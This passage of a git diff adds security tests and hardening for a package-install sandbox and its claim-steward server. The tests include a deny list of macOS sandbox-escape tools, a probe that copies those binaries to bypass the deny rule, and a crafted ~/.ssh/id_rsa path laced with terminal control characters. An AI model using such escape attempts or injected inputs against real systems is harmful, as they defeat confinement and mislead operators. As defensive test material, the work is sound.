"../src/violation.js"; +import { computeDenySet } from "../src/deny-set.js"; + +describe("npm_config_* values that embed URL credentials are dropped", () => { + const scrub = (e: Record) => scrubEnv(e, []); + test("https_proxy / registry with user:pass@ are dropped, plain ones are kept", () => { + const out = scrub({ + npm_config_https_proxy: "http://user:pass@proxy.example:3128", + npm_config_registry: "https://bob@registry.example/", + npm_config_proxy: "http://proxy.example:3128", + npm_config_cache: "/c", + }); + assert.equal(out.npm_config_https_proxy, undefined); + assert.equal(out.npm_config_registry, undefined); + assert.equal(out.npm_config_proxy, "http://proxy.example:3128"); + assert.equal(out.npm_config_cache, "/c"); + }); + test("only npm_config_* values are screened (other allowlisted vars are untouched)", () => { + assert.equal(scrub({ npm_package_repository_url: "git+https://u:p@h/x.git" }).npm_package_repository_url, "git+https://u:p@h/x.git"); + }); +}); + +describe("control characters never reach a reported violation", () => { + const deny = computeDenySet([], { homeDir: "/home/x", platform: "linux" }); + test("filesystem target / deniedResource / excerpt are stripped of C0 and C1 controls", () => { + const evil = "/home/x/.ssh/id_rsa\u001b[31m\u009b\u0007"; + const v = classifyViolation( + { exitCode: 1, stdout: "", stderr: `Error: EACCES: permission denied, open '${evil}'` }, + deny, + ); + assert.ok(v, "a violation is still reported"); + assert.equal(v.target, "/home/x/.ssh/id_rsa[31m"); + assert.doesNotMatch(`${v.target}${v.deniedResource}${v.evidence.stderrExcerpt}`, /[\u0000-\u001f\u007f-\u009f]/); + }); +}); diff --git a/packages/sandbox/test/security-exec-carveout.test.ts b/packages/sandbox/test/security-exec-carveout.test.ts new file mode 100644 index 0000000..251fd92 --- /dev/null +++ b/packages/sandbox/test/security-exec-carveout.test.ts @@ -0,0 +1,45 @@ +import assert from "node:assert/strict"; +import { mkdtempSync, realpathSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { describe, test } from "node:test"; +import { SENSITIVE_EXECUTABLES } from "../src/sensitive-executables.js"; +import { generateProfile } from "../src/profile.js"; +import { SeatbeltSandbox } from "../src/seatbelt.js"; +import type { Capability } from "@git-agentic/sentinel-core"; + +const OPTS = { homeDir: "/Users/x", cwd: "/work/pkg", tmpDir: "/var/folders/z/T", nodePrefix: "/usr/local", projectRoot: "/Users/x/app" }; +const ESCAPE_TOOLS = ["launchctl", "open", "shortcuts", "automator"]; + +describe("F10 launchd / LaunchServices escape tools are exec-denied", () => { + test("SENSITIVE_EXECUTABLES lists launchctl, open, shortcuts and automator", () => { + for (const c of ESCAPE_TOOLS) assert.ok(SENSITIVE_EXECUTABLES.includes(c), c); + }); + test("the generated profile denies exec of each (argument test)", () => { + const p = generateProfile([], OPTS); + for (const c of ESCAPE_TOOLS) assert.match(p, new RegExp(`\\(deny process-exec\\*[^\\n]*\\(literal "/[^"]*/${c}"\\)`), c); + }); + test("a process: Grant lifts the carve-out for that command only", () => { + const g: Capability[] = [{ kind: "process", target: "open", evidence: [] }]; + const p = generateProfile(g, OPTS); + assert.ok(!p.includes('/usr/bin/open"')); + assert.ok(p.includes('/bin/launchctl"')); + }); + test("a real sandboxed `open` and `launchctl` cannot exec (effect test)", { skip: process.platform === "darwin" ? false : "requires macOS sandbox-exec" }, () => { + const home = realpathSync(mkdtempSync(join(tmpdir(), "sb-f10-"))); + for (const cmd of ["/usr/bin/open -h", "/bin/launchctl version"]) { + const r = new SeatbeltSandbox().run(`${cmd} >/dev/null 2>&1; echo rc=$?`, { cwd: home, approved: [], homeDir: home }); + assert.ok(r.stdout.includes("rc=126"), `${cmd} must be exec-denied (sh rc 126): ${r.stdout}${r.stderr}`); + } + }); + // A copy dodges the path-literal carve-out. Probed: the kernel SIGKILLs a copied platform binary + // (exit 137) before it can reach LaunchServices, so no mach-lookup rule is needed. Pinned so a + // macOS change that lets the copy run is noticed. + test("a COPIED /usr/bin/open and /bin/launchctl are killed (137), not run (effect test)", { skip: process.platform === "darwin" ? false : "requires macOS sandbox-exec" }, () => { + const home = realpathSync(mkdtempSync(join(tmpdir(), "sb-f10c-"))); + for (const src of ["/usr/bin/open", "/bin/launchctl"]) { + const r = new SeatbeltSandbox().run(`cp ${src} ./copy && ./copy -h >/dev/null 2>&1; echo rc=$?`, { cwd: home, approved: [], homeDir: home }); + assert.ok(r.stdout.includes("rc=137"), `copy of ${src}: ${r.stdout}${r.stderr}`); + } + }); +}); diff --git a/packages/sandbox/test/security-node-gyp.test.ts b/packages/sandbox/test/security-node-gyp.test.ts new file mode 100644 index 0000000..8ad930c --- /dev/null +++ b/packages/sandbox/test/security-node-gyp.test.ts @@ -0,0 +1,100 @@ +import assert from "node:assert/strict"; +import { existsSync, mkdirSync, mkdtempSync, realpathSync, rmSync, statSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { dirname, join } from "node:path"; +import { describe, test } from "node:test"; +import { writeAllowFloor } from "../src/write-floor.js"; +import { generateProfile } from "../src/profile.js"; +import { generateBwrapArgs } from "../src/bwrap.js"; +import { readAllowList } from "../src/read-allow.js"; +import { withPerRunDevdir } from "../src/devdir.js"; +import { SeatbeltSandbox } from "../src/seatbelt.js"; +import type { Capability } from "@git-agentic/sentinel-core"; + +const net: Capability = { kind: "network", target: "198.51.100.5", evidence: [] }; +const OPTS = { homeDir: "/Users/x", cwd: "/work/pkg", tmpDir: "/var/folders/z/T", nodePrefix: "/usr/local", projectRoot: "/Users/x/app" }; + +describe("node-gyp header caches are read-only inside the sandbox", () => { + test("the write floor no longer lists ~/.node-gyp or ~/.cache/node-gyp", () => { + const floor = writeAllowFloor({ cwd: "/w", tmpDir: "/t" }); + assert.ok(!floor.some((p) => p.includes("node-gyp")), floor.join(",")); + }); + test("they stay READable (read-allow list)", () => { + const ro = readAllowList({ nodePrefix: "/n", projectRoot: "/p" }); + assert.ok(ro.includes("~/.node-gyp") && ro.includes("~/.cache")); + }); + test("seatbelt: the file-write allow does not cover the node-gyp caches", () => { + const writeLine = generateProfile([], OPTS).split("\n").find((l) => l.startsWith("(allow file-write*"))!; + assert.ok(writeLine && !writeLine.includes("node-gyp"), writeLine); + }); + test("bwrap: the node-gyp caches are not re-bound read-write", () => { + const args = generateBwrapArgs([], { ...OPTS, homeDir: "/home/x" }); + const rw = args.flatMap((a, i) => (a === "--bind" || a === "--bind-try" ? [args[i + 1]] : [])); + assert.ok(!rw.some((p) => p.includes("node-gyp")), rw.join(",")); + }); +}); + +describe("withPerRunDevdir (network approved only; host-owned dir outside every write floor)", () => { + const mkHome = () => mkdtempSync(join(tmpdir(), "gyp-home-")); + test("without a network approval the env and grants are returned untouched", () => { + const env = { PATH: "/usr/bin", npm_config_devdir: "/home/x/.cache/node-gyp" }; + const r = withPerRunDevdir(env, [], mkHome()); + assert.deepEqual(r.env, env); + assert.deepEqual(r.approved, []); + r.cleanup(); + }); + test("with a network approval: a fresh 0700 dir under /.cache/sentinel-gyp, NOT under tmpdir", () => { + const home = mkHome(); + const a = withPerRunDevdir({ PATH: "/usr/bin" }, [net], home); + const b = withPerRunDevdir({ PATH: "/usr/bin" }, [net], home); + const da = a.env.npm_config_devdir!; + assert.ok(da && b.env.npm_config_devdir !== da, "unique per run"); + assert.equal(dirname(da), join(home, ".cache", "sentinel-gyp")); + assert.equal(statSync(da).mode & 0o777, 0o700); + assert.equal(statSync(dirname(da)).mode & 0o777, 0o700); + assert.equal(a.env.PATH, "/usr/bin"); + a.cleanup(); b.cleanup(); + assert.ok(!existsSync(da)); + }); + test("read-write is granted on that one directory only, through an ordinary filesystem grant", () => { + const home = mkHome(); + const r = withPerRunDevdir({}, [net], home); + const grants = r.approved.filter((c) => c.kind === "filesystem"); + assert.deepEqual(grants.map((g) => g.target), [r.env.npm_config_devdir]); + assert.ok(r.approved.includes(net), "the original approvals are kept"); + r.cleanup(); + }); + test("a bwrap argv built from the grant binds exactly that dir read-write", () => { + const home = "/home/x"; + const dir = `${home}/.cache/sentinel-gyp/run-AbC`; + const args = generateBwrapArgs([net, { kind: "filesystem", target: dir, evidence: [] }], { ...OPTS, homeDir: home }); + const rw = args.flatMap((a, i) => (a === "--bind" || a === "--bind-try" ? [args[i + 1]] : [])); + assert.ok(rw.includes(dir)); + assert.ok(!rw.includes(`${home}/.cache/sentinel-gyp`) && !rw.includes(`${home}/.cache`)); + }); + test("seatbelt: the profile write-allows that dir only (argument test)", () => { + const dir = "/Users/x/.cache/sentinel-gyp/run-AbC"; + const line = generateProfile([net, { kind: "filesystem", target: dir, evidence: [] }], OPTS).split("\n").find((l) => l.startsWith("(allow file-write*"))!; + assert.ok(line.includes(`(subpath "${dir}")`)); + assert.ok(!line.includes(`(subpath "/Users/x/.cache")`) && !line.includes('sentinel-gyp")')); + }); + // The point of moving it: tmpdir is in EVERY sandbox's write floor, so a lingering process of an + // earlier run could still write there. Real home OUTSIDE tmpdir so the floor does not mask the result. + test("effect: only this run's grant can write the devdir; a sibling is unwritable (seatbelt)", { skip: process.platform === "darwin" ? false : "requires macOS sandbox-exec" }, () => { + const home = realpathSync(mkdtempSync(join(process.cwd(), ".gyp-eff-"))); + try { + const proj = join(home, "proj"); mkdirSync(proj); + const r = withPerRunDevdir({ PATH: "/usr/bin:/bin" }, [net], home); + const sibling = join(dirname(r.env.npm_config_devdir!), "old-run"); mkdirSync(sibling); + const sb = new SeatbeltSandbox(); + const ok = sb.run('echo ok > "$npm_config_devdir/h.txt"; echo rc=$?; echo bad > "' + join(sibling, "p.txt") + '"; echo rc2=$?', { cwd: proj, approved: r.approved, homeDir: home, env: r.env }); + assert.match(ok.stdout, /rc=0/, ok.stderr); + assert.match(ok.stdout, /rc2=[1-9]/, "a sibling devdir (an earlier run) must stay unwritable"); + assert.ok(existsSync(join(r.env.npm_config_devdir!, "h.txt"))); + assert.ok(!existsSync(join(sibling, "p.txt"))); + const without = sb.run('echo x > "$npm_config_devdir/n.txt"; echo rc=$?', { cwd: proj, approved: [net], homeDir: home, env: r.env }); + assert.match(without.stdout, /rc=[1-9]/, "without the grant the dir is not writable"); + r.cleanup(); + } finally { rmSync(home, { recursive: true, force: true }); } + }); +}); diff --git a/packages/sandbox/test/security-root-cwd.test.ts b/packages/sandbox/test/security-root-cwd.test.ts new file mode 100644 index 0000000..49307c4 --- /dev/null +++ b/packages/sandbox/test/security-root-cwd.test.ts @@ -0,0 +1,98 @@ +import assert from "node:assert/strict"; +import { existsSync, mkdirSync, mkdtempSync, realpathSync, symlinkSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { describe, test } from "node:test"; +import { generateBwrapArgs } from "../src/bwrap.js"; +import { generateProfile } from "../src/profile.js"; +import { normalizeRunPaths } from "../src/run-paths.js"; +import { SeatbeltSandbox } from "../src/seatbelt.js"; +import { BubblewrapSandbox } from "../src/bubblewrap.js"; + +// `sentinel exec` from `/` would put the filesystem root into the write floor (cwd is always +// writable), turning "writes closed except the floor" into "writes open everywhere". +const OPTS = { homeDir: "/home/x", tmpDir: "/tmp", nodePrefix: "/usr/local", projectRoot: "/work" }; +const UNSUPPORTED = /enforcement unavailable.*working directory/s; + +describe("a working directory that resolves to / is refused (fail closed)", () => { + test("normalizeRunPaths throws for / and for paths that resolve to /", () => { + for (const cwd of ["/", "/.", "/a/..", "//"]) assert.throws(() => normalizeRunPaths({ cwd }), UNSUPPORTED, cwd); + }); + test("generateProfile (Seatbelt) refuses cwd / before emitting a profile", () => { + assert.throws(() => generateProfile([], { ...OPTS, cwd: "/", homeDir: "/Users/x" }), UNSUPPORTED); + }); + test("generateBwrapArgs refuses cwd / before emitting argv", () => { + assert.throws(() => generateBwrapArgs([], { ...OPTS, cwd: "/" }), UNSUPPORTED); + }); + test("a real Seatbelt run with cwd / refuses and runs nothing (effect test)", { skip: process.platform === "darwin" ? false : "requires macOS sandbox-exec" }, () => { + const marker = join(realpathSync(mkdtempSync(join(tmpdir(), "sb-rootcwd-"))), "marker"); + assert.throws(() => new SeatbeltSandbox().run(`echo x > "${marker}"`, { cwd: "/", approved: [], homeDir: tmpdir() }), UNSUPPORTED); + assert.throws(() => new SeatbeltSandbox().runArgv("/usr/bin/touch", [marker], { cwd: "/", approved: [], homeDir: tmpdir() }), UNSUPPORTED); + assert.ok(!existsSync(marker)); + }); + test("a real bwrap run with cwd / refuses (Linux only)", { skip: process.platform === "linux" ? false : "requires Linux bwrap" }, () => { + assert.throws(() => new BubblewrapSandbox().run("true", { cwd: "/", approved: [], homeDir: tmpdir() }), UNSUPPORTED); + }); + test("a normal cwd is unaffected", () => { + assert.equal(normalizeRunPaths({ cwd: "/work/pkg" }).cwd, "/work/pkg"); + }); +}); + +// path.resolve() is lexical: a cwd that is a SYMLINK to / used to pass the guard. The runtime +// entry points follow symlinks (realpath); the pure generators stay lexical. +describe("a symlink to / or to a project dir is followed at the entry points", () => { + const mk = () => realpathSync(mkdtempSync(join(tmpdir(), "sb-symcwd-"))); + const linkTo = (target: string) => { + const base = mk(); + const link = join(base, "link"); + symlinkSync(target, link); + return { base, link }; + }; + + test("normalizeRunPaths refuses a symlinked cwd that resolves to /", () => { + const { link } = linkTo("/"); + assert.throws(() => normalizeRunPaths({ cwd: link }), UNSUPPORTED); + assert.throws(() => normalizeRunPaths({ cwd: join(link, "tmp", "..") }), UNSUPPORTED); + }); + test("a symlinked cwd / projectRoot is replaced by its realpath", () => { + const base = mk(); + const real = join(base, "real"); mkdirSync(real); + const link = join(base, "link"); symlinkSync(real, link); + assert.deepEqual(normalizeRunPaths({ cwd: link, projectRoot: link }), { cwd: real, projectRoot: real }); + }); + test("a projectRoot symlink to / falls back to the cwd", () => { + const { base, link } = linkTo("/"); + assert.equal(normalizeRunPaths({ cwd: base, projectRoot: link }).projectRoot, base); + }); + test("a cwd that does not exist is left lexical (fails later exactly as before)", () => { + assert.equal(normalizeRunPaths({ cwd: "/definitely/not/here/./x" }).cwd, "/definitely/not/here/x"); + }); + test("a real Seatbelt run from a symlink to / throws and writes nothing (effect test)", { skip: process.platform === "darwin" ? false : "requires macOS sandbox-exec" }, () => { + const { base, link } = linkTo("/"); + const marker = join(base, "marker"); + assert.throws(() => new SeatbeltSandbox().run(`echo x > "${marker}"`, { cwd: link, approved: [], homeDir: tmpdir() }), UNSUPPORTED); + assert.throws(() => new SeatbeltSandbox().runArgv("/usr/bin/touch", [marker], { cwd: link, approved: [], homeDir: tmpdir() }), UNSUPPORTED); + assert.ok(!existsSync(marker)); + }); + test("a real Seatbelt run from a symlinked project dir still works (effect test)", { skip: process.platform === "darwin" ? false : "requires macOS sandbox-exec" }, () => { + const base = mk(); + const real = join(base, "real"); mkdirSync(real); + const link = join(base, "link"); symlinkSync(real, link); + const r = new SeatbeltSandbox().run("echo ok > out.txt", { cwd: link, approved: [], homeDir: join(base, "nohome") }); + assert.equal(r.exitCode, 0, r.stderr); + assert.ok(existsSync(join(real, "out.txt"))); + }); + test("the profile built from the normalized cwd carries the realpath; the pure generator stays lexical", () => { + const base = mk(); + const real = join(base, "real"); mkdirSync(real); + const link = join(base, "link"); symlinkSync(real, link); + const o = { homeDir: "/Users/x", tmpDir: "/var/folders/z/T", nodePrefix: "/usr/local" }; + const n = normalizeRunPaths({ cwd: link }); + const p = generateProfile([], { ...o, cwd: n.cwd, projectRoot: n.projectRoot }); + // The Seatbelt generator canonicalizes /tmp to /private/tmp, which on Linux is not the realpath. + const inProfile = (path: string) => p.includes(`(subpath "${path}")`) || p.includes(`(subpath "/private${path}")`); + assert.ok(inProfile(real) && !inProfile(link)); + const lexical = generateProfile([], { ...o, cwd: link, projectRoot: link }); + assert.ok(lexical.includes(`(subpath "${link}")`) || lexical.includes(`(subpath "/private${link}")`)); + }); +}); diff --git a/packages/sandbox/test/security-root-guard.test.ts b/packages/sandbox/test/security-root-guard.test.ts new file mode 100644 index 0000000..059efe0 --- /dev/null +++ b/packages/sandbox/test/security-root-guard.test.ts @@ -0,0 +1,46 @@ +import assert from "node:assert/strict"; +import { mkdtempSync, realpathSync, readFileSync, existsSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { isAbsolute, join, relative } from "node:path"; +import { describe, test } from "node:test"; +import { generateProfile } from "../src/profile.js"; +import { execAllowFloor, linuxExecFloor } from "../src/exec-floor.js"; +import { normalizeRunPaths } from "../src/run-paths.js"; +import { SeatbeltSandbox } from "../src/seatbelt.js"; + +const OPTS = { homeDir: "/Users/x", cwd: "/work/pkg", tmpDir: "/var/folders/z/T", nodePrefix: "/usr/local", projectRoot: "/Users/x/app" }; + +describe("a projectRoot of / must not re-allow everything", () => { + test("seatbelt: no (subpath \"/\") read re-allow, so the $HOME read deny stays in force", () => { + const p = generateProfile([], { ...OPTS, projectRoot: "/" }); + assert.ok(!p.includes('(subpath "/")'), p); // covers the read re-allow AND the exec floor + }); + test("the exec floors (macOS and Linux/Landlock) drop a / projectRoot", () => { + assert.ok(!execAllowFloor({ nodePrefix: "/usr/local", projectRoot: "/" }).includes("/")); + assert.ok(!linuxExecFloor({ nodePrefix: "/usr/local", projectRoot: "/" }).includes("/")); + }); +}); + +describe("cwd and projectRoot are normalized at the sandbox entry points", () => { + test("relative and dotted paths become absolute and canonical", () => { + const r = normalizeRunPaths({ cwd: "pkg/../pkg", projectRoot: ".." }); + assert.ok(isAbsolute(r.cwd) && isAbsolute(r.projectRoot)); + assert.ok(!r.cwd.includes("..") && !r.projectRoot.includes("..")); + assert.equal(r.projectRoot, join(r.cwd, "..")); + }); + test("projectRoot defaults to the (normalized) cwd", () => { + assert.equal(normalizeRunPaths({ cwd: "/a/b/./c" }).projectRoot, "/a/b/c"); + }); + test("a projectRoot that resolves to / falls back to cwd", () => { + assert.equal(normalizeRunPaths({ cwd: "/work/pkg", projectRoot: "/" }).projectRoot, "/work/pkg"); + assert.equal(normalizeRunPaths({ cwd: "/work/pkg", projectRoot: "/work/pkg/../.." }).projectRoot, "/work/pkg"); + }); + test("seatbelt run with a RELATIVE cwd still confines and writes inside it (effect test)", { skip: process.platform === "darwin" ? false : "requires macOS sandbox-exec" }, () => { + const dir = realpathSync(mkdtempSync(join(tmpdir(), "sb-rel-"))); + const rel = relative(process.cwd(), dir); + assert.ok(!isAbsolute(rel)); + const r = new SeatbeltSandbox().run("echo ok > out.txt", { cwd: rel, approved: [], homeDir: dir }); + assert.equal(r.exitCode, 0, r.stderr); + assert.ok(existsSync(join(dir, "out.txt")) && readFileSync(join(dir, "out.txt"), "utf8").includes("ok")); + }); +}); diff --git a/packages/sandbox/test/security-seatbelt-profile.test.ts b/packages/sandbox/test/security-seatbelt-profile.test.ts new file mode 100644 index 0000000..6ee2252 --- /dev/null +++ b/packages/sandbox/test/security-seatbelt-profile.test.ts @@ -0,0 +1,35 @@ +import assert from "node:assert/strict"; +import { mkdtempSync, realpathSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { describe, test } from "node:test"; +import * as seatbelt from "../src/seatbelt.js"; + +const { SeatbeltSandbox } = seatbelt; + +const darwin = process.platform === "darwin"; + +// F7: the SBPL profile used to be written to /sentinel-sb-*/profile.sb — inside the +// write floor — so a lingering sandboxed process could rewrite the NEXT run's profile. +describe("F7 Seatbelt profile is passed inline, never via a writable file", () => { + test("sandboxExecArgv uses -p and not -f (argument test, platform-neutral)", () => { + const argv = seatbelt.sandboxExecArgv("(version 1)\n(allow default)\n", ["/bin/sh", "-c", "true"]); + assert.deepEqual(argv, ["-p", "(version 1)\n(allow default)\n", "/bin/sh", "-c", "true"]); + assert.ok(!argv.includes("-f")); + }); + + test("run: no sentinel-sb-* profile file exists in tmpdir while the script runs (effect test)", { skip: darwin ? false : "requires macOS sandbox-exec" }, () => { + const home = realpathSync(mkdtempSync(join(tmpdir(), "sb-f7-"))); + const r = new SeatbeltSandbox().run(`ls "${tmpdir()}"; find "${tmpdir()}" -maxdepth 2 -name profile.sb 2>/dev/null; true`, { cwd: home, approved: [], homeDir: home }); + assert.equal(r.exitCode, 0, r.stderr); + assert.ok(!r.stdout.includes("sentinel-sb-"), `a profile dir is visible to the script:\n${r.stdout}`); + assert.ok(!r.stdout.includes("profile.sb"), "a profile.sb is visible to the script"); + }); + + test("runArgv: same, no profile file visible (effect test)", { skip: darwin ? false : "requires macOS sandbox-exec" }, () => { + const home = realpathSync(mkdtempSync(join(tmpdir(), "sb-f7b-"))); + const r = new SeatbeltSandbox().runArgv("/bin/ls", [tmpdir()], { cwd: home, approved: [], homeDir: home }); + assert.equal(r.exitCode, 0, r.stderr); + assert.ok(!r.stdout.includes("sentinel-sb-"), r.stdout); + }); +}); diff --git a/packages/sandbox/test/write-floor.test.ts b/packages/sandbox/test/write-floor.test.ts index a40dc79..ddb9dc7 100644 --- a/packages/sandbox/test/write-floor.test.ts +++ b/packages/sandbox/test/write-floor.test.ts @@ -3,15 +3,13 @@ import { describe, test } from "node:test"; import { writeAllowFloor } from "../src/write-floor.js"; describe("writeAllowFloor", () => { - test("includes the install dir, temp, /tmp, /dev and the node build caches", () => { + test("includes the install dir, temp, /tmp, /dev and the npm logs (node-gyp caches are read-only)", () => { const floor = writeAllowFloor({ cwd: "/work/pkg", tmpDir: "/var/folders/x/T" }); assert.deepEqual(floor, [ "/work/pkg", "/var/folders/x/T", "/tmp", "/dev", - "~/.node-gyp", - "~/.cache/node-gyp", "~/.npm/_logs", ]); }); diff --git a/packages/steward/README.md b/packages/steward/README.md index afa91b4..a30d873 100644 --- a/packages/steward/README.md +++ b/packages/steward/README.md @@ -23,6 +23,10 @@ SENTINEL_CLAIM_CORPUS_RELEASE_DIR=./steward/release \ sentinel-steward ``` +The control plane listens on `127.0.0.1:4874` by default. Set +`SENTINEL_STEWARD_HOST` (and `SENTINEL_STEWARD_PORT`) to expose it, ideally +behind TLS. + See the [Sentinel repository](https://github.com/git-agentic/pkg-registry) for the claim lifecycle, corpus format, and threat model. diff --git a/packages/steward/src/index.ts b/packages/steward/src/index.ts index e2f951d..1091bde 100644 --- a/packages/steward/src/index.ts +++ b/packages/steward/src/index.ts @@ -1,11 +1,12 @@ #!/usr/bin/env node import { readFileSync, realpathSync } from "node:fs"; import { resolveTxt } from "node:dns/promises"; +import type { AddressInfo } from "node:net"; import { pathToFileURL } from "node:url"; import { ClaimSteward, type UpstreamClaimEvidence } from "./steward.js"; import { createStewardServer } from "./server.js"; -export { ClaimSteward, corroboratesClaimDomain, signTransferRequest, transferRequestBytes, type ClaimApplicationInput, type ClaimChallenge, type GrandfatherTier, type TxtResolver, type UpstreamClaimEvidence, type UpstreamClaimLookup } from "./steward.js"; +export { ClaimSteward, corroboratesClaimDomain, signTransferRequest, transferRequestBytes, type TransferRequest, type ClaimApplicationInput, type ClaimChallenge, type GrandfatherTier, type TxtResolver, type UpstreamClaimEvidence, type UpstreamClaimLookup } from "./steward.js"; export { createStewardServer, type StewardServerOptions } from "./server.js"; function main(): void { @@ -22,6 +23,8 @@ function main(): void { catch (error) { console.error(`FATAL: cannot read claim-corpus private key: ${(error as Error).message}`); process.exit(1); } const port = Number(process.env.SENTINEL_STEWARD_PORT ?? "4874"); if (!Number.isInteger(port) || port < 0 || port > 65535) { console.error("FATAL: SENTINEL_STEWARD_PORT must be an integer in [0, 65535]"); process.exit(1); } + const host = process.env.SENTINEL_STEWARD_HOST ?? "127.0.0.1"; + if (!host.trim()) { console.error("FATAL: SENTINEL_STEWARD_HOST must be a non-empty host or address"); process.exit(1); } const registry = process.env.SENTINEL_STEWARD_REGISTRY ?? "https://registry.npmjs.org"; try { const parsed = new URL(registry); @@ -45,7 +48,7 @@ function main(): void { try { steward = new ClaimSteward({ stateFile, lookupUpstream }); } catch (error) { console.error(`FATAL: cannot load steward state: ${(error as Error).message}`); process.exit(1); } const app = createStewardServer({ steward, token, resolveTxt, privateKeyPem, releaseDir }); - app.listen(port, () => console.log(`Sentinel claim steward listening on http://localhost:${port}`)); + const server = app.listen(port, host, () => console.log(`Sentinel claim steward listening on http://${host.includes(":") ? `[${host}]` : host}:${(server.address() as AddressInfo).port}`)); } function isEntrypoint(): boolean { diff --git a/packages/steward/src/server.ts b/packages/steward/src/server.ts index a9d1728..a1ecfa1 100644 --- a/packages/steward/src/server.ts +++ b/packages/steward/src/server.ts @@ -3,7 +3,7 @@ import { mkdirSync, mkdtempSync, renameSync, rmSync, writeFileSync } from "node: import { join } from "node:path"; import express, { type Request, type Response } from "express"; import { rateLimit } from "express-rate-limit"; -import { ClaimSteward, type ClaimApplicationInput, type TxtResolver } from "./steward.js"; +import { ClaimSteward, type TxtResolver } from "./steward.js"; import type { RetractionAdvisory } from "@git-agentic/sentinel-core"; export interface StewardServerOptions { @@ -27,6 +27,19 @@ function sendError(res: Response, error: unknown): void { res.status(400).json({ error: (error as Error).message }); } +/** Required string field of a JSON body; anything else is a 400, never coerced. */ +function str(body: unknown, key: string): string { + const value = (body as Record | undefined)?.[key]; + if (typeof value !== "string" || !value) throw new Error(`${key} must be a non-empty string`); + return value; +} + +function optionalStr(body: unknown, key: string): string | undefined { + const value = (body as Record | undefined)?.[key]; + if (value !== undefined && (typeof value !== "string" || !value)) throw new Error(`${key} must be a non-empty string`); + return value; +} + /** Authenticated steward control plane. Every mutation is operator-token gated. */ export function createStewardServer(options: StewardServerOptions) { if (!options.token) throw new Error("steward token must be configured"); @@ -46,39 +59,43 @@ export function createStewardServer(options: StewardServerOptions) { }); app.post("/-/claims/challenges", async (req: Request, res: Response) => { - try { res.status(201).json(await options.steward.issueChallenge(req.body as ClaimApplicationInput)); } + try { + const trustedPublishers = (req.body as { trustedPublishers?: unknown } | undefined)?.trustedPublishers; + if (trustedPublishers !== undefined && !Array.isArray(trustedPublishers)) throw new Error("trustedPublishers must be an array"); + res.status(201).json(await options.steward.issueChallenge({ + namespace: str(req.body, "namespace"), domain: str(req.body, "domain"), claimantPublicKey: str(req.body, "claimantPublicKey"), + ...(trustedPublishers ? { trustedPublishers } : {}), + })); + } catch (error) { sendError(res, error); } }); app.post("/-/claims/challenges/:id/verify", async (req, res) => { try { res.json({ verified: await options.steward.verifyChallenge(req.params.id, options.resolveTxt) }); } catch (error) { sendError(res, error); } }); - app.post("/-/claims/challenges/:id/approve", (req, res) => { - try { options.steward.approve(req.params.id, req.body as { evidenceRef?: string }); res.json({ approved: true }); } + app.post("/-/claims/challenges/:id/approve", async (req, res) => { + try { await options.steward.approve(req.params.id, { evidenceRef: optionalStr(req.body, "evidenceRef") }); res.json({ approved: true }); } catch (error) { sendError(res, error); } }); app.post("/-/claims/transfers", (req, res) => { try { - const body = req.body as { namespace: string; targetChallengeId: string; oldClaimantSignature: string }; - options.steward.requestTransfer(body.namespace, body.targetChallengeId, body.oldClaimantSignature); + options.steward.requestTransfer(str(req.body, "namespace"), str(req.body, "targetChallengeId"), str(req.body, "oldClaimantSignature")); res.status(202).json({ pending: true }); } catch (error) { sendError(res, error); } }); app.post("/-/claims/disputes", (req, res) => { - try { options.steward.contest((req.body as { namespace: string }).namespace); res.status(202).json({ frozen: true }); } + try { options.steward.contest(str(req.body, "namespace")); res.status(202).json({ frozen: true }); } catch (error) { sendError(res, error); } }); app.post("/-/claims/dispute-rulings", (req, res) => { try { - const body = req.body as { namespace: string; targetChallengeId: string; evidenceRef: string }; - options.steward.ruleDispute(body.namespace, body.targetChallengeId, body.evidenceRef); + options.steward.ruleDispute(str(req.body, "namespace"), str(req.body, "targetChallengeId"), str(req.body, "evidenceRef")); res.status(202).json({ pending: true }); } catch (error) { sendError(res, error); } }); app.post("/-/claims/renewals", (req, res) => { try { - const body = req.body as { namespace: string; challengeId: string }; - options.steward.renew(body.namespace, body.challengeId); + options.steward.renew(str(req.body, "namespace"), str(req.body, "challengeId")); res.json({ renewed: true }); } catch (error) { sendError(res, error); } }); @@ -88,8 +105,7 @@ export function createStewardServer(options: StewardServerOptions) { }); app.post("/-/claims/domain-change-freezes", (req, res) => { try { - const body = req.body as { namespace: string; evidenceRef: string }; - options.steward.freezeForDomainChange(body.namespace, body.evidenceRef); + options.steward.freezeForDomainChange(str(req.body, "namespace"), str(req.body, "evidenceRef")); res.json({ frozen: true }); } catch (error) { sendError(res, error); } }); diff --git a/packages/steward/src/steward.ts b/packages/steward/src/steward.ts index 080f561..620e4e7 100644 --- a/packages/steward/src/steward.ts +++ b/packages/steward/src/steward.ts @@ -47,6 +47,8 @@ interface Application extends ClaimApplicationInput, ClaimChallenge { upstreamPackument: unknown | null; issuedAt: string; verifiedAt?: string; + /** Set once the challenge has served as a claim's proof; a proof is never adopted twice. */ + consumed?: true; } interface PendingGrant { @@ -79,18 +81,29 @@ function isCanonicalInstant(value: unknown): value is string { return typeof value === "string" && Number.isFinite(Date.parse(value)) && new Date(value).toISOString() === value; } +/** A challenge is a short-lived proof: every use of it must fall inside this window of its issuance. */ +const CHALLENGE_TTL = 30 * DAY; + +function evidenceTier(evidence: UpstreamClaimEvidence, domain: string): GrandfatherTier { + return evidence.kind === "absent" || evidence.kind === "long-dead-placeholder" ? 3 : corroboratesClaimDomain(evidence.packument, domain) ? 1 : 2; +} + function renewalDue(verifiedAt: string): string { const date = new Date(verifiedAt); date.setUTCFullYear(date.getUTCFullYear() + 1); return date.toISOString(); } -export function transferRequestBytes(input: { namespace: string; targetDomain: string; targetChallengeId: string; targetClaimantPublicKey: string }): Buffer { - return Buffer.from(JSON.stringify({ schema: 1, ...input })); +/** `currentChallengeId` binds the signature to the claim's current proof, so it dies on any renewal or transfer. */ +export interface TransferRequest { namespace: string; targetDomain: string; targetChallengeId: string; targetClaimantPublicKey: string; currentChallengeId: string } + +export function transferRequestBytes(input: TransferRequest): Buffer { + const { namespace, targetDomain, targetChallengeId, targetClaimantPublicKey, currentChallengeId } = input; + return Buffer.from(JSON.stringify({ schema: 1, namespace, targetDomain, targetChallengeId, targetClaimantPublicKey, currentChallengeId })); } export function signTransferRequest( - input: { namespace: string; targetDomain: string; 